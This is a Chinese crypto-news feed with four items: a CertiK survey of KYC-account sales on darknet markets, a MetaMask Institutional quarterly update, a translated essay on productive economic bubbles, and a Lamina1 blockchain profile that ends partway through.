    此前，CertiK对KYC黑市、演员雇佣以及KYC买卖曾做过一些调研。包括Telegram和Discord的各类平台上都有兜售已通过KYC验证的Web3.0交易所账户服务，包括KYC演员买卖等。不禁让人们怀疑，这样的账户买卖活动是否在暗网上也十分猖獗。 通过我们对买卖KYC账户的调查表明，情况可能并非如此：CertiK对300个暗网市场的KYC账户欺诈性买卖分析显示，只有4%与Web3.0 KYC欺诈广告相关。 KYC（客户背景调查）是金融服务提供者向客户销售金融服务产品时必须遵守的法律程序之一。这些规定要求客户证明他们的身份——使用身份证明文件和其他个人记录使得金融机构能够更好地评估风险并监测所有类型的金融犯罪，包括欺诈、洗钱、和恐怖主义活动相关的融资以及盗用他人身份等。 根据金融服务的性质，某些国家可能会要求：收集其客户的身份信息、通过定期更新身份文件对客户进行评估、筛选客户交易并密切关注重点人物等等。 听起来或许很复杂，但这就如同我们普通人申请贷款一样，都需要对我们的背景、信用等进行调查。其实使用过中心化交易所的人很可能很熟悉其中一些做法。然而Web3.0生态系统的半匿名性质和相对较新的特点，使得传统金融监管机构对该行业实施KYC特别困难。这不乏由多种原因造成，其中包括许多交易所都安置在了金融监管比较宽松的司法管辖区运营，而这些司法管辖区大部分未能按照国际统一准则对金融平台进行监管。 目前的监管环境，很可能为不良分子在利用中心化交易所（CEX）进行洗钱和转移资金方面创造了机会。用来洗钱的其中一种方法是：通过欺诈性KYC账户来获得资金。 大家可以通过阅读《对话地下团伙「KYC」演员，揭开伪造KYC产业链面纱》这篇文章获得更多信息。这项调查重点主要在Telegram、Discord和其他社交媒体网站上的欺诈性KYC销售（雇佣演员等试图通过欺诈手段通过KYC验证等）。然而，我们也想更深入地了解这种活动有多少是发生在暗网市场。 暗网市场通常与犯罪服务有关，包括出售被盗数据、信用卡信息、恶意软件、雇佣黑客、买卖毒品和武器甚至是人体器官等。 在暗网进行研究是有一定困难性的。研究必须使用特殊浏览器进行，或者通过配置另一个网络浏览器来访问。该浏览器允许人们访问以扩展名.onion为结尾的网站URL。但这些URL经常“变幻莫测”，而且当域名所有者出于安全目的移动在线位置时，这些URL往往就会不再活跃。这使得对暗网市场的访问和调查比在表面上看起来复杂得多。一个URL今天可能还“在状态”，明天就会被一个无效URL取代。 我们从一个包含300多个暗网市场链接的数据库开始进行了调查，并评估了它们对KYC账户的销售情况。在最初的300个URL中，只有182个被正确转录。在这182个完整的地址中，102个是无效链接，80个是正在工作的活跃链接。在剩余的正在工作的活跃链接中，只有12个与KYC账户销售或其他汇款平台（如PayPal）的欺诈性KYC广告有关。 该数据库中只有27%的链接是有效链接。在出售KYC账户或KYC服务的市场中，有效链接的数量仅占总数的4%。 不仅主办KYC的CEX账户广告数量相当少，每个平台上的广告总数也很少。下图显示了与KYC服务销售相关的供应商在所有市场的分布情况。 我们按目前列出的广告总数查看了三个活跃度最高的广告和供应商，其中包括Nemesis、MGM Grand和Ares，每个市场都有10个以上的广告。尽管这些市场上的广告数量最多，但其实有大约一半的广告链接已不完整，或是来自同一供应商的转帖。 虽然KYC广告在每个市场上有所不同，但都提供了关于服务供应商及以下基本信息：供应商用户名、供应商销售总额、供应商评论总数、供应商评级、产品价格、产品描述。 Paxful.com KYC账户的广告示例来源：Ares Market 在检查这些广告时，我们还可以看出它们绝大多数是来自同一供应商。在我们对上述三大市场的检查中，还发现了有六个供应商拥有独特的用户名。然而，这些广告的内容表明这些所有的内容中，只有四个（不重复的）演员，其中两个在不同市场使用了不同的用户名。（基于这些广告的内容是逐字逐句完全相同的）。下面是这些演员的名单，以及他们在Nemesis、MGM Grand和Ares市场的相关供应商统计。 暗网中的实时KYC演员广告 虽然大多数供应商的分数排名相当高，但没有足够的销量或评论来真正评估供应商的影响力。就像淘宝有些卖家的评分很高，但是一看销量基本全无或者没什么评价。其中只有一个供应商mikedoesittoo在Nemesis market市场上有超过100个销售和37条评论，多个评论都是五星评级。 总的来说，暗网中KYC的CEX账号买卖市场似乎并不大，就其对行业总体的欺诈数量来说，在统计学上基本不相关。 因此我们可能会继续看到这种KYC买卖活动在Telegram和Discord上占据主导地位，毕竟这些渠道已经被Web3.0的个人和项目大量使用并占据。这些社交平台不仅比暗网市场更容易访问，而且是大部分Web3.0爱好者的“常驻地”。它们的易用性无疑为犯罪分子创造了更大的便利性。  ( 2 min )
    MetaMask Institutional发布Q1回顾：AUD增加近90%，预计年收入将增长25.87%
    PANews 4月18日消息，MetaMask机构解决方案MMI（MetaMask Institutional）发布2023年Q1回顾，新功能包括投资组合仪表板、NFT视图的账户捆绑、身份验证和登录、Institutional Staking市场等。 在数据方面，MMI扩展的八周用户留存率超过65%，这是该团队密切关注的指标。使用MMI部署在链上的资产（AUD）增加了89.17%。与此同时，MMI团队预计年收入将增长25.87%。 展望下个季度，官方表示将继续迭代和改进MMI的各个方面，并计划在第二季度发布重大公告。  ( 1 min )
    建树型泡沫：从AI到加密货币，人类新兴技术的进化之道
    原文：《Exploring Productive Bubbles》by Mario Gabriele 编译：Creek Labs 如果你只有几分钟的时间，下面的摘要为你列出了投资者、经营者和创业者需了解的“建树型泡沫”的要点。 有时候，经济真的是命悬一“线”。 1893年5月3日，国家绳索公司（一家生产麻线和绳子的公司）倒闭，引发了美国经济的崩溃，戳破了那个时代最大的泡沫：铁路。 在当下这个研究嗡嗡作响的电动汽车、穿梭的滑板车和蜿蜒的赛格威时代，铁路听起来像是一个尘封的遗产：一块污渍斑驳的银盘，一套晒旧的沙发。然而，在19世纪并非如此。1866年，《洛矶山新闻》热烈赞扬说：“太平洋铁路是整个共和国唯一的道义，是治疗一切社会、政治、金融和工业邪恶的灵丹妙药，是全国最紧迫的切实需求。”这是未来的技术，一台吞火吐雾的奔马机器，将美国地图折叠，直至城市相互接触。 面对如此独具匠心、令人惊叹的现代化技术，金融家应该做什么呢？当然是投资。不要担心价格或财务预测这样的琐事；忽略狂热的营销和重叠的线路；将你的钱投入费城和瑞丁铁路（the Philadelphia and Reading Rail Road，P&R）、北太平洋、联合太平洋等数十家争先铺设铁轨的公司。这些企业是当时的初创公司和独角兽：快速增长的“稳赚”项目，伸向地平线。确实，1871年，P&R以某些指标成为世界上最有价值的公司，估值为1.7亿美元，相当于现在的30亿美元朝上。 在现金充裕、低成本移民劳动力推动、政府支持和无监管的情况下，“铁路热”定义了19世纪的很大一部分。一场基建的“狂欢”使铁路里程从1871年的45,000英里增加到1900年的220,000英里，几乎增长了五倍。在19世纪80年代，铁路公司占据纽约证券交易所上市公司的比例达到了惊人的80%，收入超过政府收入的两倍。 图片来源：国家地理 接着，一切都崩溃了。对黄金储备的恐慌和P&R的没落让投资者担忧，而国家绳索公司的突然倒闭标志着“1893年恐慌”的真正开始。在接下来的几个月里，随着北太平洋和联合太平洋P&R步后尘走向破产，成千上万的铁路工人失去工作。到了第二年，25%的铁路企业都走上了同样的末路。更广泛的经济萧条持续了数年。 时间揭示了当下难以看清的真相。虽然在那段时期很多人遭受了痛苦——失去工作，眼睁睁看着财富蒸发——但承受19世纪铁路狂热带来的损害，是值得的。尽管投机狂野且无节制，但它为宏大的基础设施项目吸引了大量资本。公司倒闭了，投资者损失了金钱，但首次使美国各地的工业紧密相连。这激发了新的效率，并催生了高歌猛进的产业，包括像西尔斯这样的邮购零售商。 这是一个完美的“建树型泡沫”例子，这个词是经济学家和投资者比尔·詹韦（Bill Janeway）首创的。与荷兰17世纪30年代的郁金香狂热等毫无意义的投机狂潮不同，“建树型泡沫”让社会更好地发展，即使投资者血本无归，新的技术基础设施从中得以建立。 我们无需遐想就能理解 Janeway 的概念如何适用于我们当前的时代。在过去的十五年里，我们一直生活在不同规模和成熟度的泡沫之间，遍及风险投资、加密货币、概念股、借壳上市（SPAC）以及现在的人工智能等各种泡沫。有些已经破灭，或者正在破灭的过程中，而其他一些仍在膨胀，积蓄热气。 我们的哪些投机行为最有可能产生建树？哪种狂热可能会得到未来几代人的感激？ 在探讨我们当下时代所处的断裂之前，有必要充分定义 Janeway 提出的概念。 经济历史中充满了泡沫。事实上，只要市场出现，就很容易形成泡沫。几个世纪以来，敏锐的投机者对黄金、白银、铀、房地产、股票、数字代币、花卉等都曾垂涎三尺。 通常，这些事件被视为让人蔑视和厌恶的东西。为什么那么多人如此愚蠢地持续那么长时间？有什么疯狂可以为这种全面的、愚蠢的浪费找借口？在这种追逐中，几乎所有人都沦为败寇；无人成王。世上充斥着骗子、投机者以及那些愚蠢到相信他们的人。 有时，这就是故事的全部。有时，一个泡沫只能带来急速上升和令人反胃的下跌的恶心感觉。17世纪30年代的郁金香狂热，20世纪90年代的豆宝宝（Beanie Baby）疯狂，以及2017年大部分的ICO狂热就符合这种情况。这些投机行为吸走了资本，但却几乎没有产生任何价值，还让投资者倾家荡产。 正如 Janeway 在他的巨著《创新经济中的资本主义：重新配置市场、投机者和国家之间的三方博弈》中记载的那样，并非所有泡沫都符合这个特征。金融繁荣的史册上记录了许多由狂热产生的具有深远价值的事件。投机活动资助了关键基础设施的建设，这些设施只有在“建树型泡沫”提供所需资本的支持下才得以实现。以下是一些美国著名的泡沫案例： 人类历史充满了具有建树的经济混乱。尽管这些例子希望能让我们更深入地了解Janeway的核心观点，但仍然存在一些问题： 1. 如何识别建树型泡沫？ 2. 在没有大规模投机的情况下，创新能否发生？ 3. 在泡沫中诞生的公司如何表现？ 首先，如何识别“建树型泡沫”？时间往往会揭示我们的狂热是否引向了好的方向。然而，一个更具体的评估方法是看投机是否以“通用技术”（general purpose technology，GPT，并非现在流行的GPT的意思）为中心。经济学家蒂莫西·布雷斯纳汉对GPT的定义是“广泛应用的、能够持续技术改进的，并能推动应用领域创新”。布雷斯纳汉（Timothy Bresnehan）补充说，GPT与应用之间可以相互促进；GPT的改进可以推动新的应用形成，新的应用又可以展示如何更好地发展GPT。 Janeway以蒸汽动力、电力和互联网为典型的GPT，它们是铁路、制造业、智能手机和搜索等“应用领域”依赖的基石。有助于探索和扩展GPT及相关应用的泡沫可能会是建树的。 其次，离了所有那些投机活动，这类基础设施能否建成？这是一个有道理的问题。即使泡沫是建树型的，它也产生了一团乱麻，让许多企业破产。正如Janeway所写，“以泡沫的浪费为代价，资助得以产生亚马逊、eBay和谷歌的探险活动。”尽管难免挥霍，金融投机可以筹集大量资本，用于建设新的网络。Janeway认为，只有国家才能动员可以匹敌的资源规模。 国家和投机者参与这种活动是“与项目经济生命周期中的收益理性计算脱钩的”。政府建设高速公路系统并非寻求财务回报；而是为了民众的利益。例如，在法国，政府策划并实施了铁路系统的建设，其成果是一个更加有序的网络，没有像美国版本的资本主义那样重叠冗余。 同样，在联合太平洋公司上豪赌的投资者在理性上不可能指望项目的现金流能收回投资。事实上，创新越新颖，现实现金流越难以预知。相反，投资者是受到了“驾驭市场心理”的驱使，在资产泡沫膨胀时赚钱。 当然，除了国家计划和金融狂热之外，创新还有其他途径。贝尔实验室和施乐帕克（Xerox Parc）等研发中心有着丰富的发明历史。Janeway 指出，在铁路过度发展之后出现的网络中，没有哪一个需要如此庞大的资本，用于部署本地电话网络所需的资金就更少了。尽管泡沫并非唯一途径，但它们确实在特定资产周围积累了大量资本，而这种规模通常是其他手段无法实现的。 最后，泡沫中诞生的企业表现如何？尽管并不是一项全面的历史研究，但有一篇研究论文表明泡沫可能会产出更高价值的企业，尽管代价高昂。哈佛商学院的Ramana Nanda和Matthew Rhodes-Kropf以及美国国家经济研究局撰写的“投资周期与初创企业创新”发现，在泡沫环境中首次筹集资本的初创企业更可能破产，但那些最终坚持到上市的企业却获得了更高的估值，拥有更多、更好的专利。鉴于风险投资的幂律定理，这种倾斜效应可能具有吸引力。毕竟，历史不会记住约翰·多尔（John Doerr）在互联网泡沫时期的失误，只会记住他投资了谷歌和亚马逊。 人类需要时间来学习如何更好地实现更具颠覆性的发明。例如，电话的一种早期应用是作为一种娱乐形式。用户可以通过设备收听音乐会或演出的现场表演——早在广播电台出现之前，更不用说现代流媒体了。如今，传统电话主要用作通信工具，用它来听音乐被认为是一种摩登的折磨，仅限于等待接听。 相反，正如 Janeway 所描述的，无线电在第一次世界大战之后才开始被用作广播工具。在那之前，它几乎只被用作通信工具。对比之下，可以清楚地看到，电话和无线电的早期倡导者完全颠倒了它们的用途。 历史上充气着这样的例子。现在，阅读关于互联网的早期评述是一种趣味横生的幽默来源。1995 年，《新闻周刊》一篇文章中，系统工程师 Clifford Stoll 分享了他对网络的看法： 远见者看到了远程办公的工人、互动图书馆和多媒体教室的未来。他们谈论电子城镇会议和虚拟社区。商业和办公将从办公室和购物中心转移到网络和调制解调器。数字网络的自由将使政府更加民主。 胡说八道。我们的计算机专家们是不是缺乏常识？事实上，没有在线数据库可以取代你的日报，没有 CD-ROM 可以取代一位称职的老师，没有计算机网络会改变政府的运作方式。 现在读 Stoll 的话容易发笑，但他并不是孤立的。在 Stoll 的文章发表的同一年，David Letterman 采访了比尔·盖茨，提出了反映主流观点的互联网分析。在谈论首次在网上收听棒球比赛的新奇能力时，Letterman 戏谑地说：“听说过收音机吗？” 关于创新和未知，有一项有意思的思考。就是问：我想要成为哪种错误？是想因为预言伟大的奇迹而被同时代的人讥笑，还是被后来的世代嘲笑我的怀疑论调？ 这些不是修辞问题。有这么一句科技格言：“悲观者听上去聪明，赚钱的却是乐观者（Pessimists sound smart, optimists make money）。”尽管它道出了从科技领域正确的反主流立场中可能获得的令人难以置信的回报，但我一直认为它从根本上具有误导性。当悲观者的观点被证伪时，他们显得目光短浅——正如我们对互联网怀疑论者审示的那样。即使在当时，一个悲观者通常只是一个现代的勒德分子（指19世纪初英格兰害怕或者厌恶技术而破坏机器的人——译者注），反对不可避免的进步，错过了发明的魔力。 与此同时，即使乐观者被证明是正确的，他们也可能赚不到钱。建树型泡沫的历史就是投机者正确地识别出一种变革性技术、并在这个过程中破产的历史。 恭喜你，你正确地预测到电气化的到来！但黑色星期四仍会给你毁灭性的打击。祝贺你预见到了电子商务的潜力——但你为何选择入坑 Pets.com？在评估未经验证的技术时，有近乎无穷多的方法来误算、低估或过度推销。 有了这个框架，我们来分析过去、现在和未来的四个泡沫：“独角兽”、加密货币、人工智能和气候。 在2018年出版的《做资本主义》（Doing Capitalism）第二版中，Janeway 预见到了“独角兽泡沫”的破灭，即风险投资支持的初创企业的估值膨胀。我本周有幸与 Janeway 讨论了他的作品。再过五年，他是否认为独角兽泡沫是建树型的？ 这位剑桥学者对一些新兴的商业模式持怀疑态度。“它确实产生了一些只有在泡沫中才能持续提供的服务，许多似乎可能会消失，”他说。“我认为孩子们可能不得不认识到，如果你想要一个披萨，你真要等一个半小时。”总体来说，Janeway 认为，像 Bird 这样的滑板车公司和 DoorDash 这样的食品外卖平台等需求驱动型企业可能在未来几年内面临困境，无法实现他称之为“企业幸福之钥”的正现金流。 尽管 Janeway 对风险投资的过度行为的益处表示广泛怀疑，但他也提出了一些积极的方面。《做资本主义》对企业软件投资进行了有意思的讨论。尽管这可能是一个贬低的例子，但 Janeway 描述了该行业如何从一个产生“可持续成功的新业务”的领域发展为为行业巨头提供外包研发的领域。过去，微软可能已经分配了内部资源来开发新的办公工具，但现在他们可以收购表现最佳的初创企业，或者仿制他们的产品。在某种程度上，这可能使风险投资对该行业的投资是有部分建树的。 仅此而已吗？从我们当前的角度来看，这段风险投资狂潮似乎给我们带来了几项改进： 翻新的金融系统。2010年至2022年间，金融科技领域投入了约1.2万亿美元。这些投资为我们带来了一个焕发活力、更现代化的金融系统，运作更高效，更好地为客户服务，并扩大了金融服务覆盖范围。这包括 Stripe、Plaid、Nubank 和 Mercury 等公司。老牌金融机构被迫迎头赶上，如高盛等纷纷拥抱科技。 智能手机的普及。移动应用程序数量和功能的增加，帮助智能手机在主流市场中占据一席之地。像 Uber 这样充分利用新设备功能的公司尤为重要。我们还处于了解数十亿人随时随地拥有一台强大的计算机、无尽的网络、出色的相机和无限地图的初步阶段。 滞后行业的数字化。随着市场饱和度的提高，风险投资资金开始追求那些滞后于其他行业的领域，包括医疗保健、物流、重工、国防、教育等。这些公司包括 One Medical、Oscar、Flexport、Anduril 和 ClassDojo 等。 互联网优先的商业模式变得越来越可行。十年前，运营 The Generalist 会很困难。在不同的时期，我们依赖过数字支付处理器（Stripe）、现代化出版平台（Substack）、简单而强大的网站构建器（Webflow）、在线会计产品（Bench）以及其他数十个平台。风险投资基金为互联网原生中小企业提供了许多数字工具。 几乎无处不在的内容可用性。风险投资资助了一系列创造、组织和传播数字内容的企业。这些公司包括 YouTube、Spotify、Reddit、Twitter、Substack 和 Twitch 等。虽然并非所有数字内容都特别有益，但这些平台为人们提供了相当多的娱乐，而且在很多情况下，具有巨大的教育价值。现在，人们越来越有可能在任何地方学习任何东西。 闲置资产的数字化共享。像 Airbnb 这样的公司展示了如何利用技术提高资产利用率，让人们可以通过出租闲置房间赚钱。虽然领先的“共享经济”公司已经超越了这种简朴的起点，但它们开创了一种在不拥有资产的情况下构建网络的方式，并释放了价值。 我们可以找到风险投资带来的几百个有益成果。只有时间才能告诉我们哪些是真正建树型的。 尽管我们非常欣赏Janeway的理论和观点，但在加密货币方面，我们的看法有所不同。在我们的谈话中，Janeway表示：“我当然不认为加密货币代表了一个建树型泡沫。我认为它在一方面是一种分心和浪费时间的东西，另一方面是吸引各种投机者的氛围。” 在加密货币方面，我犯了很多错误，非常清楚这个领域的关注、争议、资本和部落主义使得对其进行分析尤为棘手。（有趣的是，许多颠覆性技术也是如此。） 和Janeway一样，我认为加密货币在赌博和投机方面存在结构和文化问题。大量的欺诈行为和无意义的赌博行为导致了一个类似于无监管赌场的环境。我曾提出加密货币正处于Carlotta Perez的采纳周期框架的“转折点”。如果要进入一个持久的、有意义的“部署阶段”，就必须解决这些问题并找到更明确的实用价值。 然而，尽管存在这些顾虑，我对加密货币的潜力仍持乐观态度。尽管我们可能需要几十年的时间来确定投资该领域的数百亿资金是否有所建树，但从根本上说，我相信货币与国家的分离、无需信任的系统的出现、自主身份的引入以及互联网原生财产和实体的建构都可能具有巨大的潜力。以下是早期、实验性的加密货币应用场景，值得期待： 稳定币。美国人低估了美元在国外的吸引力。如果可以选择，世界上很多地方都宁愿赚取并保留美元储蓄，因为它是一种稳定的货币。然而，当地法规和惩罚性利率往往阻止了这种可能性。稳定币提供了一种合成美元的替代品，适用于全球个人和企业。当然，难题在于如何扩大实现稳定的加密货币规模——如果能可靠地实现，这将产生深远的影响。我们将在未来几年看到许多企业涉足这个领域。 数字产权。目前，这与NFT紧密相关，这个缩写词在许多人中引起了如此强烈的愤怒，以至于阻碍了进一步讨论。然而，2021年的NFT狂潮确实是一场不菲的浪费。然而，这种提供数字来源和所有权的数据结构的关键基建可能具有深远的意义。到目前为止，投机主义主要集中在狭窄、肤浅的应用场景上，未能推动技术的发展。尽管如此，它引入了这个概念，并让许多人熟悉了它。随着时间的推移，后继的几代人可能会推动这些想法在媒体、金融资产、身份认证或我们目前无法想象的其他领域找到更大的实用功能。 数字实体：尽管可能没有NFT那么两极分化，但DAO在许多加密观察者看来同样令人沮丧。上一个周期备受炒作的许多DAO被证明只不过是拥有丰厚银行余额的群聊。然而，我得重申，如果你从这个初始实例中抽离，就会看到一些有意思的轮廓：互联网原生的组织结构和股东。也许这样的尝试终将一无所获，但我很期待看到企业家如何从DAO狂热中汲取教训，并将其运用到更加实际、更有建树的实体中。 物理工作证明：我们关于Helium的分析认为，“物理工作证明”（PoPW）在利用加密激励构建新基础设施方面具有开创性。尽管当时它的使用率非常低，但物联网网络的创建机制仍然令人着迷。自从我们的文章发表以来，Helium已经启动了一个无线网络（尽管规模仍然很小），类似的PoPW项目，如Hivemapper，也在核心机制上进行了详细说明。筹款、实施和策划公民拥有的新型物理网络的能力可能非常重要。 区块空间：在去年进行的一次采访中，Chris Dixon概述了为什么区块空间将成为本十年的“最佳产品”。a16z加密基金的这位普通合伙人（GP）认为，随着加密货币的普及，链上容量将变得越来越重要。Dixon将其与20世纪90年代宽带的过度投资进行了类比，后者后来被证明对互联网的扩展至关重要。如果加密货币像Dixon和其他人预期的那样腾飞，围绕Layer 1和Layer 2形成的泡沫将变得非常有价值。 我分享这些内容，知道我可能错误的可能性大于正确。所有这些都是投机性的；目前没有任何一款应用够得上明显的“杀手级应用”，能比肩历史上的铁路邮购目录、电话通信或广播和无线电。 我们也不应该指望这些应用马上就有。中本聪的白皮书可能已经有十五年的历史了，但以太坊的白皮书还不到十年。该行业的绝大多数投资都发生在2021年（其中很多可能最终被证明是浪费。） 根据Janeway的研究，一项技术要找到其理想的实现方式，然后达到大规模部署可能需要几十年的时间。Antonio Meucci在1849年制造了第一部基本的电话，直到1914年才实现每10户家庭拥有1部电话，又过了31年才使电话的普及率翻了一番。1965年，Lawrence Roberts成功地让两台计算机“交谈”。直到20世纪90年代，计算机才成为主流产品，而且，如前面所提到的，许多人依然对计算机持怀疑态度。正如我们现在回顾2001年光纤电缆使用率低下的情况时感到有些讽刺，有一天我们也许会回顾当今区块链和应用程序的荒凉。 鉴于Janeway对泡沫的深入研究，他并没有完全否定加密货币的理论用途。他说：“我非常关注它以与其创建初衷完全不同的方式发挥作用的可能性。”特别是，Janeway提到了各国政府在中央银行数字货币方面进行的有趣研究。也许加密货币的主导用途不是作为一种无政府主义、自由奔放的技术，而是作为国家权力的延伸。 在过去一年里，风险投资热潮从加密领域转向了人工智能，由一系列惊人的生成式 AI 展示和产品所引导，其中最著名的就是 ChatGPT。结果是一个新的资产泡沫。尽管其他领域的风险投资活动和估值已经明显下降，但 AI 公司正在快速融资，估值不断攀升。Pitchbook Data 的数据显示，生成式 AI 公司的平均投前估值从2017年至2020年的大约1000万美元，跃升到2021年和2022年的4000万美元，今年更是高达9000万美元。像 Anthropic 和 Adept 这样的基础模型公司已经以十亿美元以上的价格吸引了几亿美元的资金。 这一切将如何发展？投资者中几乎肯定会有大赢家，但输家更多。尽管现在还非常早，但这种热潮有一些有益的方面： 基础模型。像 OpenAI、谷歌、Anthropic 和 Adept 这样的公司正在投资创建大型语言模型（LLM）。这些非凡的推理算法能够生成文字、图像、代码、论点等。我们已经看到许多这样的创新应用于金融、医疗、国防、物流等行业。新的治疗方法、药物、网络武器、防欺诈系统和企业工具将依赖于这些新智能。 现代实验室。从概念角度来看，许多当今领先的 AI 公司都以类实验室的形式运作。尽管有商业动机，但也有相当多的努力致力于推动该领域的发展和边缘实验。从这个角度来看，这一运动重现了贝尔和施乐等早期技术实验室。正如那些“scenius”实例所示，充分支持领先的理论和实务人才，可以产生显著成果。 检测与防御。随着模型变得更加强大，我们将看到投资集中于AI检测和安全领域。人类需要找到识别文本、语音和图像是否由AI生成的方法，每个企业和政府都需要采取保护措施。 计算资源。AI 需要大量的算力。为了满足不断增长的需求，我们将看到优化和扩充现有资源的企业不断涌现。正如光纤电缆和区块空间一样，随着行业的发展，这可能变得至关重要。 这并不是说 AI 只会带来好处。科技领域的一个流行观点是，与加密货币相比，AI 热潮是值当的。终于有了一门真科技，持这一立场的人松了一口气。 这种立场是有道理的：在加密领域的猴子 JPEG、笨拙的消费端应用和猖獗的割韭菜之后，AI 似乎是一个毫不费力、令人难以置信的魔法提供者。然而，随着时间的推移，我怀疑这种比较将不再具有意义。除了加密货币希望找到更大的实用功能外，我们将更好地理解 AI 带来的风险——到那时可能已经为时已晚。为了追求竞争优势，企业毫无顾忌地发布令人瞠目的智能，几乎没有保护措施。 先进的推理机器、声音克隆、合成形象、人工罗曼史、自动化战争机器 —— 什么可能出问题？ 科技行业的人才擅长洞察和建设未来。但我们在预测和防范有害的二、三、四阶影响方面并无太好的记录。过去十年里，科技领域的一个主要话题就是悲叹社交媒体对社会的影响，以及行业如何盲目地资助那些至少在很大程度上破坏了基本真实和文化和谐的网络。 也许期望一个行业既能创造未来又能监管未来，实在是要求过高。在理想的世界里，政府可以介入，制定规则，引导发展。然而，美国政府对加密货币的懈怠回应，以及立法者们所展示的技术愚蠢，表明它无法胜任这一任务。随着技术进步的加速，两个领域之间的混乱只会变得更加明显；这是一场龟兔赛跑。 总之，当前的 AI 繁荣是壮观的，看起来将彻底改善我们的世界，提高我们的健康水平，创造重要的艺术作品，提高生产力。但其中也蕴含着黑暗、令人恐惧的线索。 现在我们可以把注意力转向气候问题。在审视近期的泡沫时，Janeway注意到一个与生产力相关的例子。“显而易见的就是特斯拉、电动汽车以及绿色技术的加速发展。”尽管Janeway认为马斯克有点像“巴纳姆、特朗普式的人物”，但他指出特斯拉首席执行官“动员资源明显加速了”电动汽车的推广，激励全球的传统汽车公司纷纷效仿。 尽管马斯克的业务基于美国，但Janeway认为，特斯拉的成功在很大程度上被“中国正在发生的事情所掩盖。”自2009年起，北京开始大力补贴电动汽车开发，到2022年为该领域投入290亿美元。结果是，现在超过50%的电动汽车销售在中国；据称特斯拉位于上海的超级工厂是其最具生产效率的工厂。虽然中国对电动汽车供应链（包括电池）的日益控制可能对美国构成问题，但这对环境有明显的好处。 尽管我们可以为马斯克为该领域吸引的资本感到庆幸，但我们应该希望另一个更广泛的气候泡沫即将到来。像约翰·多尔（John Doerr）和克里斯·萨卡（Chris Sacca）这样的传奇投资者已经宣扬该领域的潜力有一段时间了。如果有更多的投资者开始分享他们的观点并投入资本解决生存问题，整个世界都将受益。目前，已有许多有前景的探索： 电动汽车及基础设施。电动汽车的故事远未结束。虽然中国可能越来越多地摆脱燃油汽车，但许多其他国家在这一过渡中仍处于初期阶段。例如，在印度，仅有2%的新车购买者选择电动汽车，尽管预测到2030年这一比例将达到30%。为实现这一目标，需要建立新的基础设施和供应链，包括充电站。除了汽车之外，还有许多关于其他电动交通工具的工作需要完成。像Heart Aerospace这样的公司正在研发全电动客机。 合成生物学。我们的食品系统是碳排放的重要来源。这促使生物技术初创企业尝试合成蛋白质，包括牛肉、鸡肉、鸡蛋和海鲜。蓝鳍金枪鱼（Finless Foods）、虾饺（Shiok Meats）乃至猛犸象肉丸（Vow）都在实验室里生产。除了食品，还有一些关于创造合成棕榈油（c16 Biosciences）的有前景的实验，棕榈油是导致森林砍伐的原因之一。 核能。Lux Capital联合创始人Josh Wolfe指出，环保运动往往对核能持敌对态度。这种状况正在发生变化，得益于投资TerraPower和General Fusion等公司。2021年，该领域的风险投资资金达到了34亿美元的峰值，希望未来还会有更多。 气候作为企业职能。在过去的十年里，气候叙事的大部分都是个人必须对他们的浪费和排放负责。虽然提高意识是有价值的，但用纸吸管替换塑料吸管对阻止世界的毁灭作用微乎其微。与个人相比，公司承担责任至关重要——仅100家企业就占据了71%的排放。像Watershed这样的初创公司帮助沃尔玛和贝莱德等企业管理他们的足迹，为那些具有最大杠杆的企业提供做得更好的工具。 在潜在的泡沫中，很少有像这样可能值得承受冲击的。 伟大的作家威廉·福克纳（William Faulkner），作为一个铁路企业主的后裔，曾经说过：“历史不是过去，而是现在。”过去以某种方式进入现在，重新确立旧有模式，重现熟悉的运动。在经济历史中，人类可靠地、反复地追求同样的愚行：发现一种资产或创新，过度资本化，最后导致其破灭。这是一个极大浪费和巨大破坏的循环，然而，正如Janeway所展示的那样，人类往往因此而变得更美好。当我们审视最近的投机行为的遗留物，并朝着新的泡沫全速前进时，有充分的理由相信它们可能是富有建树的。  ( 3 min )
    速览《雪崩》作者斯蒂芬森推出的元宇宙公链 Lamina1
    Lamina1是什么 Lamina1是基于Avalanche的一个PoS公链，创始人是著名科幻小说《雪崩》的作者斯蒂芬森，Lamina1首次提出了元宇宙公链的概念。Lamina1成立于2022年6月，于2022年9月发布了其白皮书的第一版，并在2023年1月向社区公开发布了其测试网络。 团队成员 尼尔·斯蒂芬森（共同创始人）是美国科幻小说作家，《雪崩》是其最出名的作品。史蒂芬森还曾在蓝色起源（Blue Origin）担任早期员工，该公司是亚马逊 CEO 杰夫·贝佐斯旗下的商业太空公司。后来，他加入了筹集了近 40 亿美元的 MR（混合现实）创业公司 Magic Leap，在 Magic Leap斯蒂芬森开始接触游戏引擎。Lamina1是斯蒂芬森结合了他在元宇宙创作和在游戏引擎方面的知识，进行的一个尝试。 Peter Vessenes（共同创始人）在数字货币、代币化和区块链技术方面有着深厚的根基。他是比特币的早期拥护者和支持者，在2010年开始挖矿，提出了矿池的概念，并被认为是加密货币最早的先驱之一，2012年，他创立了CoinLab，这是第一家风投支持的比特币公司。 Rebecca Barkin（CEO）在新兴技术和娱乐交叉领域拥有20多年的战略、设计和开发经验。她曾担任开创性沉浸式场馆麦迪逊广场花园球场的内容战略和合作伙伴解决方案副总裁，以及增强现实先驱Magic Leap的品牌平台和设计副总裁。 Will Carte (CTO) 具有十年研究和技术开发经验，曾在隐私重点区块链生态系统xx Network任职，该生态系统由著名密码学家和数字货币发明者戴维·肖姆创立。他担任该公司的CTO近四年。在此之前，他是xx Network开发的面向Web3社区的超私密消息应用程序Elixxir的首席产品官。 投资者 Lamina1的投资者主要为个人，目前没有看到机构投资者对其进行投资，投资金额也未披露，不过可以在投资者名单中看到LinkedIn的联合创始人Reid Hoffman。 合作伙伴 去年 6 月合作推出的以元宇宙为重点的区块链网络 Lamina1 公布其早期访问计划合作伙伴，包括 HTC、游戏工作室 Dubit、AR 音乐平台 Immuse.xyz、游戏开发商 Mystic Moose、Patch XR、Rensa Games、Sons of a Bit、Web3 游戏工作室 Walker Labs、沉浸交互式软件工作室 Wevr 和创意实验室 0.xyz。 2022年9月Lamina1公布了轻皮书，在2021年1月公布的测试网包含Web钱包，下一步将启动自定义子网和 EVM（以太坊虚拟机）开发，以后还将推出Unity SDK，它将允许创作者轻松地将Lamina1测试网的功能融入到Unity项目中。Lamina1计划在2023年第1至3季度陆续推出Beta测试网和主网。 Lamina1开展了一些列NFT活动来吸引更多的用户，连接测试网钱包之后，用户可以随机生成5个NFT，用户可以交易生成的NFT 。Lamina还举办测试网 NFT 创作者竞赛，每周公布获奖者。 Lamina1生态基金 